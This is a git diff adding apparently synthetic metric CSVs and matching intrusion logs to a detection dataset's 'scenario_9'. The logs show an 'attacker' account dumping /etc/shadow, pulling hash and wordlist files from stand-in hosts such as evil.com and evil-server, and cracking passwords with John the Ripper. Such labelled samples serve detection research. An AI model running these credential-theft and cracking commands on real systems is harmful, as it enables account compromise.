02 11:02:30 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 2 +Jul 02 11:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:03:20 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 0 +Jul 02 11:03:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:10 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 2 +Jul 02 11:05:00 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 0 +Jul 02 11:05:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:05:50 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 2 +Jul 02 11:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:40 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 0 diff --git a/mali_dataset/scenario_9/mali_9_14.csv b/mali_dataset/scenario_9/mali_9_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..f356a21ff36d9f71486f9d790512c158db59df09 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.54,35.83,11.96,1.32,1.03 +2025-07-02T12:00:05Z,12.72,40.93,10.91,1.0,0.68 +2025-07-02T12:00:10Z,11.59,35.56,16.71,1.06,1.49 +2025-07-02T12:00:15Z,7.83,39.61,16.46,0.93,1.07 +2025-07-02T12:00:20Z,13.43,39.21,22.28,0.81,0.53 +2025-07-02T12:00:25Z,14.97,38.17,10.13,0.81,0.57 +2025-07-02T12:00:30Z,8.37,41.48,15.15,0.59,0.96 +2025-07-02T12:00:35Z,8.67,44.85,24.95,1.06,1.06 +2025-07-02T12:00:40Z,9.22,38.26,18.12,1.2,0.83 +2025-07-02T12:00:45Z,10.0,41.96,22.8,0.62,0.75 +2025-07-02T12:00:50Z,10.48,37.42,14.39,1.37,1.07 +2025-07-02T12:00:55Z,13.35,43.62,14.85,1.38,1.1 +2025-07-02T12:01:00Z,98.61,69.83,83.21,0.01,0.06 +2025-07-02T12:01:05Z,99.57,69.31,93.8,0.08,0.02 +2025-07-02T12:01:10Z,99.67,74.83,113.07,0.05,0.07 +2025-07-02T12:01:15Z,99.59,67.72,98.39,0.09,0.06 +2025-07-02T12:01:20Z,98.77,72.39,93.45,0.04,0.04 +2025-07-02T12:01:25Z,99.0,72.67,3.16,0.04,0.04 +2025-07-02T12:01:30Z,99.21,63.14,4.45,0.02,0.1 +2025-07-02T12:01:35Z,99.37,72.62,3.82,0.02,0.09 +2025-07-02T12:01:40Z,98.55,69.7,4.03,0.03,0.09 +2025-07-02T12:01:45Z,99.68,65.55,4.99,0.06,0.01 +2025-07-02T12:01:50Z,98.82,72.0,3.54,0.04,0.06 +2025-07-02T12:01:55Z,99.09,62.05,4.69,0.07,0.05 +2025-07-02T12:02:00Z,98.57,63.69,4.37,0.1,0.08 +2025-07-02T12:02:05Z,99.67,61.37,1.69,0.05,0.1 +2025-07-02T12:02:10Z,99.58,72.71,4.7,0.05,0.03 +2025-07-02T12:02:15Z,99.31,72.35,2.43,0.07,0.01 +2025-07-02T12:02:20Z,99.31,65.07,3.8,0.06,0.07 +2025-07-02T12:02:25Z,99.13,61.68,3.97,0.1,0.1 +2025-07-02T12:02:30Z,99.88,63.13,1.76,0.03,0.08 +2025-07-02T12:02:35Z,99.59,60.58,1.3,0.07,0.02 +2025-07-02T12:02:40Z,99.51,72.04,1.95,0.04,0.02 +2025-07-02T12:02:45Z,99.18,67.62,1.2,0.05,0.05 +2025-07-02T12:02:50Z,99.84,73.57,4.5,0.04,0.01 +2025-07-02T12:02:55Z,99.58,70.22,4.74,0.03,0.08 +2025-07-02T12:03:00Z,99.43,62.62,3.47,0.07,0.08 +2025-07-02T12:03:05Z,99.36,65.04,2.95,0.1,0.01 +2025-07-02T12:03:10Z,99.63,72.38,4.19,0.05,0.08 +2025-07-02T12:03:15Z,98.63,67.78,2.85,0.05,0.03 +2025-07-02T12:03:20Z,99.69,64.99,4.16,0.08,0.04 +2025-07-02T12:03:25Z,99.34,70.47,1.17,0.03,0.03 +2025-07-02T12:03:30Z,99.6,70.85,3.42,0.06,0.04 +2025-07-02T12:03:35Z,98.81,69.99,2.32,0.08,0.07 +2025-07-02T12:03:40Z,99.14,74.7,4.28,0.08,0.02 +2025-07-02T12:03:45Z,98.95,60.51,4.04,0.01,0.09 +2025-07-02T12:03:50Z,98.54,63.05,4.7,0.04,0.07 +2025-07-02T12:03:55Z,99.4,69.54,2.08,0.03,0.04 +2025-07-02T12:04:00Z,98.5,69.07,2.85,0.02,0.05 +2025-07-02T12:04:05Z,99.59,70.97,1.31,0.03,0.05 +2025-07-02T12:04:10Z,98.9,61.63,1.19,0.03,0.1 +2025-07-02T12:04:15Z,99.5,61.48,4.73,0.08,0.1 +2025-07-02T12:04:20Z,99.7,68.17,3.03,0.07,0.07 +2025-07-02T12:04:25Z,98.9,66.99,3.19,0.02,0.04 +2025-07-02T12:04:30Z,99.55,63.49,3.45,0.06,0.04 +2025-07-02T12:04:35Z,98.91,63.99,1.21,0.05,0.06 +2025-07-02T12:04:40Z,98.72,65.83,3.39,0.1,0.09 +2025-07-02T12:04:45Z,99.14,68.12,4.37,0.03,0.07 +2025-07-02T12:04:50Z,99.28,73.73,1.89,0.06,0.08 +2025-07-02T12:04:55Z,98.86,61.7,3.35,0.07,0.06 +2025-07-02T12:05:00Z,99.43,74.65,5.0,0.09,0.02 +2025-07-02T12:05:05Z,99.56,67.51,1.93,0.01,0.04 +2025-07-02T12:05:10Z,99.42,67.13,1.99,0.03,0.03 +2025-07-02T12:05:15Z,98.54,73.74,4.37,0.03,0.07 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+2025-07-02T12:07:00Z,98.78,69.51,1.51,0.05,0.02 +2025-07-02T12:07:05Z,98.85,65.27,1.84,0.07,0.06 +2025-07-02T12:07:10Z,99.58,69.87,3.81,0.04,0.08 +2025-07-02T12:07:15Z,99.26,71.35,4.78,0.07,0.06 +2025-07-02T12:07:20Z,98.94,62.51,3.94,0.09,0.03 +2025-07-02T12:07:25Z,98.97,72.46,2.31,0.1,0.1 diff --git a/mali_dataset/scenario_9/mali_9_14.log b/mali_dataset/scenario_9/mali_9_14.log new file mode 100644 index 0000000000000000000000000000000000000000..f2fab3ac5dc28a7d67617626858c33eaf3345830 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_14.log @@ -0,0 +1,23 @@ +Jul 02 11:59:58 server sshd[8878]: Accepted publickey for attacker from 198.51.100.12 port 54322 ssh2: RSA SHA256:... +Jul 02 12:00:00 server systemd[1]: Starting daily clean up activities... +Jul 02 12:00:01 server sshd[8878]: pam_unix(sshd:session): session opened for user attacker by (uid=0) +Jul 02 12:00:30 server CRON[8890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:00 server auditd[555]: type=EXECVE msg=audit(1751457660.123:456): proctitle=john --wordlist=/home/attacker/wordlists/rockyou.txt --format=sha512crypt /home/attacker/shadow_dump +Jul 02 12:01:05 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:01:32 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:02:02 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:02:32 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:02:51 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:03:19 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:03:49 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:04:16 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:04:35 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:04:54 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:05:23 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:05:45 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:06:11 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:06:30 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:06:30 server systemd[1]: Starting daily clean up activities... +Jul 02 12:06:50 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:07:22 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:07:35 server sshd[8878]: pam_unix(sshd:session): session closed for user attacker diff --git a/mali_dataset/scenario_9/mali_9_15.csv b/mali_dataset/scenario_9/mali_9_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..427e9ed70fea64bae7c220a53f965f536c084db6 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29T04:00:00Z,6.30593080526125,28.261365559991653,14.324887634866961,1.3445761052763539,0.7899933124920143 +2025-08-29T04:00:05Z,5.836783429322686,22.53117932390083,12.929177160542558,0.838117207166343,1.0176128947871153 +2025-08-29T04:00:10Z,14.026050089874179,25.960180987547993,28.531079105768054,0.625116076934169,0.8753911739519697 +2025-08-29T04:00:15Z,14.673317489238043,23.094186162858655,13.781978879365752,1.3721694745673143,0.6405172800616012 +2025-08-29T04:00:20Z,14.638511139936016,21.35996966813078,27.042016702737957,1.4883119788549704,1.328371878467376 +2025-08-29T04:00:25Z,10.299997245296588,21.65556389549307,26.779480036381035,1.1196303615097183,0.7859900546777256 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1001. +Aug 29 03:58:55 server1 su[3201]: (to root) attacker on pts/0 +Aug 29 03:58:56 server1 su[3201]: pam_unix(su:session): session opened for user root by attacker(uid=1001) +Aug 29 04:00:10 server1 CRON[3250]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 29 04:00:45 server1 bash[3210]: history: USER=root, COMMAND=scp evil-server:/root/shadow.txt /root/shadow.txt +Aug 29 04:00:55 server1 bash[3210]: history: USER=root, COMMAND=scp evil-server:/root/dict.txt /root/dict.txt +Aug 29 04:01:00 server1 bash[3210]: history: USER=root, COMMAND=john --wordlist=dict.txt shadow.txt +Aug 29 04:01:01 server1 kernel: [1138.133700] audit: type=1326 audit(1756478461.123:123): proctitle="john --wordlist=dict.txt shadow.txt" pid=3301 comm="john" exe="/usr/sbin/john" sig=0 arch=c000003e +Aug 29 04:01:01 server1 systemd[1]: Started Process 3301 (john). +Aug 29 04:01:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:02:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:03:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:04:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:05:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:06:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:07:05 server1 bash[3210]: history: USER=root, COMMAND=kill -9 3301 +Aug 29 04:07:06 server1 systemd[1]: Process 3301 (john) ended. +Aug 29 04:07:10 server1 sshd[3115]: pam_unix(sshd:session): session closed for user attacker diff --git a/mali_dataset/scenario_9/mali_9_16.csv b/mali_dataset/scenario_9/mali_9_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..2744f501de3a531286035bee9ba872b6626c5f14 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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198.51.100.12 port 54322 ssh2 +Aug 22 03:02:05 server systemd-logind[987]: New session 123 of user attacker. +Aug 22 03:02:15 server systemd[1]: Started Session 123 of user attacker. +Aug 22 03:02:25 server bash[4590]: user=attacker command='john --wordlist=/usr/share/wordlists/rockyou.txt /root/shadow_dump' +Aug 22 03:02:30 server auditd[543]: type=EXECVE msg=audit(1755831750): AUID=1001 UID=1001 GID=1001 EUID=1001, command="john" +Aug 22 03:03:30 server kernel: [12345.678] INFO: task john:4612 blocked for more than 120 seconds. +Aug 22 03:03:30 server process-monitor[1122]: HIGH_CPU_USAGE: Process 'john' (PID 4612) using 99.8% CPU. +Aug 22 03:05:00 server process-monitor[1122]: HIGH_CPU_USAGE: Process 'john' (PID 4612) using 99.9% CPU. +Aug 22 03:07:25 server CRON[4801]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) diff --git a/mali_dataset/scenario_9/mali_9_17.csv b/mali_dataset/scenario_9/mali_9_17.csv new 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--report /etc/cron.hourly) +Jul 02 12:00:50 server kernel: [1122.334] process `mysqldump` (pid 8950) exited with status 0 +Jul 02 12:01:35 attacker-shell: .bash_history: john --wordlist=/usr/share/wordlists/rockyou.txt /home/attacker/shadow.dump +Jul 02 12:01:40 server auditd[1234]: type=EXECVE msg=audit(1751457700:256): argc=4 a0="john" a1="--wordlist=/usr/share/wordlists/rockyou.txt" a2="/home/attacker/shadow.dump" +Jul 02 12:01:40 server kernel: [1220.101] process `john` (pid 9012) starting, cwd=/home/attacker +Jul 02 12:02:40 server CRON[9050]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) +Jul 02 12:03:40 server systemd[1]: Starting Daily apt download activities... +Jul 02 12:04:40 server kernel: [1400.555] CPU: 1 PID: 9012 Comm: john Tainted: G W 5.4.0-100-generic #113-Ubuntu +Jul 02 12:05:40 server CRON[9150]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_9/mali_9_2.csv b/mali_dataset/scenario_9/mali_9_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..8aadf537e2df2cf63d6d5d1338ee6831746c70df --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.149127836715655,41.175704655308685,39.04533136558021,1.0381739195119566,1.1100099647626251 +2025-07-02T12:00:05Z,17.663289688214313,41.33197809629197,26.627529730142175,0.97518722366608,0.5655891848125726 +2025-07-02T12:00:10Z,12.998440789498655,35.32175054419978,34.25178209692618,0.7990644173524735,0.5070700828287994 +2025-07-02T12:00:15Z,13.46852788584526,37.61232682117584,20.950725343632786,1.4526939441379887,0.791213910498439 +2025-07-02T12:00:20Z,14.332460299724378,44.83899482594005,22.618334383299036,0.9414174841771846,1.2447515127933673 +2025-07-02T12:00:25Z,19.139737958720552,40.22036800700298,39.73947893952882,0.6559563362457549,1.1735177678372322 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+2025-07-02T12:07:10Z,95.16242541160582,62.279877839243554,1.12946736797582,0.2446428130219573,0.2159524245750205 +2025-07-02T12:07:15Z,99.92396939802647,56.980754575268755,3.0113777355421867,0.13160790581812615,0.18440420513912564 +2025-07-02T12:07:20Z,99.67779197578727,56.086734799919,4.058723687502146,0.1561238125332438,0.25755875921823324 +2025-07-02T12:07:25Z,99.48996489569129,61.888165970069416,4.40611795312039,0.2862092385929523,0.1885250699304492 diff --git a/mali_dataset/scenario_9/mali_9_2.log b/mali_dataset/scenario_9/mali_9_2.log new file mode 100644 index 0000000000000000000000000000000000000000..d68f0409ffe887ecabed0252b49bf1c69c62ca26 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_2.log @@ -0,0 +1,27 @@ +Jul 02 11:59:50 server sshd[1234]: Accepted password for attacker from 192.168.1.10 port 22 ssh2 +Jul 02 11:59:51 server systemd-logind[567]: New session 123 of user attacker. +Jul 02 12:00:05 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:00 server web-app[2345]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:30 server systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 server auditd[432]: type=PROCTITLE msg=audit(1656763500.123:45): proctitle=6a6f686e20736861646f772e747874 +Jul 02 12:02:30 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:02:30 server bash[1235]: cat /etc/shadow > shadow.txt +Jul 02 12:02:30 server bash[1235]: john --restore +Jul 02 12:02:30 server bash[1235]: john shadow.txt +Jul 02 12:02:30 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:03:20 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:03:20 server bash[1235]: john --restore +Jul 02 12:03:20 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:04:10 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:04:10 server bash[1235]: john --restore +Jul 02 12:04:10 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:05:00 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:05:00 server bash[1235]: john --restore +Jul 02 12:05:00 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:05:50 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:05:50 server bash[1235]: john --restore +Jul 02 12:05:50 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:06:00 server web-app[2345]: GET /api/v1/user/78 status=200 OK +Jul 02 12:06:40 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:06:40 server bash[1235]: john --restore +Jul 02 12:06:40 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 diff --git a/mali_dataset/scenario_9/mali_9_3.csv b/mali_dataset/scenario_9/mali_9_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..bb6ea90d870095576db13c859f4ec4bd1d33c44b --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,6.439515877242773,27.336307284538414,8.286054656705053,1.347197613599977,1.4602646856978905 +2025-08-15T14:00:05Z,14.508584479309526,25.487365129523088,9.742668222451073,0.646121889040788,0.5404325316413412 +2025-08-15T14:00:10Z,10.125535753163046,29.342278494587053,7.44318488125976,1.3333386539617194,1.3910855094148418 +2025-08-15T14:00:15Z,6.763928105473797,29.890606406114973,8.833565428062968,0.5521058947922984,0.9683253212368667 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+2025-08-15T14:07:00Z,5.12281471202129,29.342401530291216,7.113857769726228,0.595923605532092,0.7817789166223412 +2025-08-15T14:07:05Z,7.350556871182801,28.635212964300763,8.702586813324725,0.9451538240674742,0.8100030243603616 +2025-08-15T14:07:10Z,14.28018460643354,25.401932817427138,8.858188688788575,0.5096618478379596,1.322663695679641 +2025-08-15T14:07:15Z,9.69153122973367,32.69173211531173,6.340374339988671,1.4532694407087086,1.1937110142950251 +2025-08-15T14:07:20Z,6.353485312747521,33.022342873067785,5.710617184992668,1.2282069400143034,1.2029337899717696 +2025-08-15T14:07:25Z,9.273373903354555,26.26421914366935,6.411443286596185,0.507757105696259,0.7624066452803894 diff --git a/mali_dataset/scenario_9/mali_9_3.log b/mali_dataset/scenario_9/mali_9_3.log new file mode 100644 index 0000000000000000000000000000000000000000..d650adf66d15b70b1bc9a8dbf72114281145810f --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_3.log @@ -0,0 +1,9 @@ +Aug 15 14:00:10 server1 sshd[2817]: Accepted publickey for attacker from 198.51.100.23 port 54322 ssh2: RSA SHA256:... +Aug 15 14:00:10 server1 systemd-logind[1021]: New session 42 of user attacker. +Aug 15 14:00:45 server1 CRON[3105]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 14:01:40 server1 bash: USER=attacker, PWD=/home/attacker, CMD=john --wordlist=/usr/share/wordlists/rockyou.txt /root/shadow_backup +Aug 15 14:02:30 server1 kernel: [11345.6789] audit: type=1326 audit(1755266550.0:123): proctitle="john --wordlist=/usr/share/wordlists/rockyou.txt /root/shadow_backup" +Aug 15 14:02:31 server1 top[1111]: PID 3158 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.8g SHR 1.2g S %CPU 99.9 %MEM 60.1 TIME+ 10:45.32 COMMAND john +Aug 15 14:05:00 server1 kernel: [11345.6789] audit: type=1326 audit(1755266700.0:123): proctitle="john --wordlist=/usr/share/wordlists/rockyou.txt /root/shadow_backup" +Aug 15 14:05:01 server1 top[1111]: PID 3158 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.8g SHR 1.2g S %CPU 99.9 %MEM 60.1 TIME+ 10:45.32 COMMAND john +Aug 15 14:07:10 server1 systemd[1]: Starting Daily apt download activities... diff --git a/mali_dataset/scenario_9/mali_9_4.csv b/mali_dataset/scenario_9/mali_9_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..17354561c607f6dca2c0ddfdcac284fe26fb7a5d --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,11.44,37.34,33.14,1.39,1.28 +2025-07-03T14:00:05Z,19.51,35.49,38.97,0.9,0.72 +2025-07-03T14:00:10Z,15.13,39.34,29.77,1.38,1.23 +2025-07-03T14:00:15Z,11.76,39.89,35.33,0.84,0.98 +2025-07-03T14:00:20Z,12.99,40.92,22.24,1.24,0.96 +2025-07-03T14:00:25Z,19.09,42.12,21.44,1.34,0.82 +2025-07-03T14:00:30Z,19.73,35.7,30.5,1.4,0.85 +2025-07-03T14:00:35Z,17.1,45.0,35.17,1.27,0.92 +2025-07-03T14:00:40Z,19.65,41.77,28.59,1.39,1.11 +2025-07-03T14:00:45Z,16.08,42.33,38.6,1.03,1.28 +2025-07-03T14:00:50Z,17.78,35.98,25.63,0.99,1.04 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+2025-07-03T14:05:55Z,98.89,63.77,3.23,0.08,0.07 +2025-07-03T14:06:00Z,99.57,73.54,2.11,0.06,0.04 +2025-07-03T14:06:05Z,99.88,68.34,1.45,0.04,0.02 +2025-07-03T14:06:10Z,98.61,68.18,1.11,0.03,0.02 +2025-07-03T14:06:15Z,98.51,60.57,1.18,0.1,0.07 +2025-07-03T14:06:20Z,99.24,67.39,4.2,0.01,0.01 +2025-07-03T14:06:25Z,99.17,60.04,4.55,0.04,0.09 +2025-07-03T14:06:30Z,98.98,73.76,3.43,0.01,0.07 +2025-07-03T14:06:35Z,99.47,72.9,4.67,0.02,0.09 +2025-07-03T14:06:40Z,99.02,73.25,1.07,0.05,0.07 +2025-07-03T14:06:45Z,99.89,73.3,1.99,0.06,0.08 +2025-07-03T14:06:50Z,99.47,61.55,3.7,0.09,0.09 +2025-07-03T14:06:55Z,98.67,69.73,3.42,0.07,0.04 +2025-07-03T14:07:00Z,98.26,60.51,4.57,0.07,0.04 +2025-07-03T14:07:05Z,99.09,74.1,1.11,0.1,0.04 +2025-07-03T14:07:10Z,98.31,71.53,4.48,0.09,0.04 +2025-07-03T14:07:15Z,98.54,69.68,3.26,0.04,0.04 +2025-07-03T14:07:20Z,99.34,67.7,3.19,0.08,0.05 +2025-07-03T14:07:25Z,98.86,62.95,1.21,0.02,0.02 diff --git a/mali_dataset/scenario_9/mali_9_4.log b/mali_dataset/scenario_9/mali_9_4.log new file mode 100644 index 0000000000000000000000000000000000000000..fc4d6f35bf59d4e15fe40f8e88616cab33dfe6ef --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_4.log @@ -0,0 +1,23 @@ +Jul 03 14:00:10 server systemd[1]: Starting daily clean up activities... +Jul 03 14:00:25 server CRON[3101]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:00:40 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 14:01:05 server sshd[3150]: Accepted password for attacker from 192.168.1.101 port 54321 ssh2 +Jul 03 14:01:05 server systemd-logind[987]: New session 5 of user attacker. +Jul 03 14:01:15 server bash[3152]: user=attacker command='wget http://evil.com/hashes.txt' +Jul 03 14:01:20 server bash[3152]: user=attacker command='wget http://evil.com/rockyou.txt.gz' +Jul 03 14:01:25 server bash[3152]: user=attacker command='gunzip rockyou.txt.gz' +Jul 03 14:01:30 server bash[3152]: user=attacker command='john --wordlist=rockyou.txt hashes.txt' +Jul 03 14:01:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:01:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:02:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:02:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:03:20 server systemd[1]: Starting session 6 of user root. +Jul 03 14:03:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:03:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:04:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:04:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:05:00 server CRON[3250]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) +Jul 03 14:05:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:05:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:06:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:06:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john diff --git a/mali_dataset/scenario_9/mali_9_5.csv b/mali_dataset/scenario_9/mali_9_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..15487396ea85320fe432ad02d91bea3d975374c5 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_5.csv @@ -0,0 +1,91 @@ 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+2025-07-02T11:07:20Z,99.87111679031491,61.086734799919,4.058723687502146,0.021224762506648762,0.04151175184364665 +2025-07-02T11:07:25Z,99.79598595827652,66.88816597006942,4.40611795312039,0.04724184771859046,0.027705013986089842 diff --git a/mali_dataset/scenario_9/mali_9_5.log b/mali_dataset/scenario_9/mali_9_5.log new file mode 100644 index 0000000000000000000000000000000000000000..adfc1533aa7f90818f0e677643915c89a6cb31d9 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_5.log @@ -0,0 +1,20 @@ +Jul 02 11:00:05 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:10 sshd[1234]: Accepted publickey for attacker from 192.168.1.10 port 22 ssh2: RSA SHA256:... +Jul 02 11:00:10 systemd[1]: Created slice User Slice of UID 1001. +Jul 02 11:00:10 systemd[1]: Starting User Session Manager for UID 1001... +Jul 02 11:00:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:30 web-app[2345]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:40 root: /root/.bash_history: 